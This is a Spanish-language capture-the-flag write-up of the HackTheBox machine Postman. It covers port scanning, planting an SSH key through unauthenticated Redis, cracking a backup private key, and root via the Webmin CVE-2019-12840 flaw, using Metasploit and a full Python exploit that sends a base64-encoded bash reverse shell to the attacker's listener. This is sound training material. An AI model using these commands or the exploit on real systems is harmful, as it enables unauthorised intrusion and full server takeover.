Postman
Plataforma: HackTheBox
Dificultad: Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/Postman

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN postman.txt 10.129.2.1
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-26 11:58 -0300
Nmap scan report for 10.129.2.1
Host is up (0.44s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1)
|_http-server-header: MiniServ/1.910
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Los puertos relevantes son:
- 80 — Apache con un sitio web personal
- 6379 — Redis 4.0.9 (posiblemente sin autenticación)
- 10000 — Webmin 1.910
Enumeración Web
El puerto 80 muestra un sitio web estático sin funcionalidad relevante.

El puerto 10000 corre Webmin 1.910, accesible por HTTPS. Requiere credenciales para operar.

Redis — Escritura de clave SSH
Redis 4.0.9 está expuesto sin autenticación. Esto nos permite usar redis-cli para escribir una clave pública SSH en el directorio del usuario redis.
Generamos un par de claves SSH:
ssh-keygen -t rsa -f redis_key -N ""
Preparamos la clave pública con saltos de línea para evitar colisiones con otras entradas de Redis:
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt
Cargamos la clave en Redis y configuramos el directorio de escritura:
cat spaced_key.txt | redis-cli -h 10.129.2.1 -x set ssh_key
redis-cli -h 10.129.2.1 config set dir /var/lib/redis/.ssh
redis-cli -h 10.129.2.1 config set dbfilename authorized_keys
redis-cli -h 10.129.2.1 save

Con la clave escrita, nos conectamos como el usuario redis:
ssh -i redis_key redis@10.129.2.1

Escalada horizontal — Usuario Matt
Enumerando el sistema encontramos una clave privada SSH cifrada en /opt/:
find / -name "*.bak" 2>/dev/null
/opt/id_rsa.bak
Copiamos la clave y usamos ssh2john + john para crackear la passphrase:
ssh2john id_rsa.bak > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Con la passphrase obtenida, nos autenticamos como Matt via su:
su Matt
User Flag
cat /home/Matt/user.txt

2f5def3b4d773f5d8ecb8769b616c850
Escalada de Privilegios — Webmin CVE-2019-12840
Webmin 1.910 es vulnerable a RCE autenticado via CVE-2019-12840, que permite ejecutar comandos arbitrarios a través de la función de actualización de paquetes.
Método 1 — Metasploit
msfconsole -q
use exploit/linux/http/webmin_packageup_rce
set RHOSTS 10.129.2.1
set RPORT 10000
set SSL true
set USERNAME Matt
set PASSWORD computer2008
set LHOST 10.10.16.52
run

Método 2 — Exploit manual (CVE-2019-12840)
También es posible explotar la vulnerabilidad sin Metasploit usando un PoC en Python. El ataque inyecta comandos en el parámetro u del endpoint /package-updates/update.cgi.
Primero obtenemos el sid de la sesión autenticada iniciando sesión en Webmin con las credenciales de Matt y copiando la cookie desde las DevTools del navegador.

Abrimos un listener:
nc -lvnp 4444
Ejecutamos el exploit:
#!/usr/bin/python3
import requests, urllib3, base64
urllib3.disable_warnings()
target = 'https://10.129.2.1:10000'
sid = '<sid de la cookie>'
user = 'Matt'
password = 'computer2008'
localip = '10.10.16.52'
localport= '4444'
s = requests.session()
try:
s.post(target+'/session_login.cgi',
data=f'page=&user={user}&pass={password}',
verify=False)
except Exception:
pass
payload = base64.b64encode(
f"bash -c 'bash -i >& /dev/tcp/{localip}/{localport} 0>&1'".encode()
).decode()
data = [
('u', 'acl/apt'),
('u', f' | bash -c "echo {payload} | base64 -d | bash -i"'),
('ok_top', 'Update Selected Packages')
]
s.post(target+'/package-updates/update.cgi',
cookies={'sid': sid}, data=data,
headers={'Referer': target+'/sysinfo.cgi?xnavigation=1'},
verify=False)

Obtenemos una shell como root en ambos casos.
Root Flag
cat /root/root.txt

a5d8991a8ed1d322fa10802632a946f1
¡Root conseguido!
Hemos completado exitosamente la máquina Postman de HackTheBox.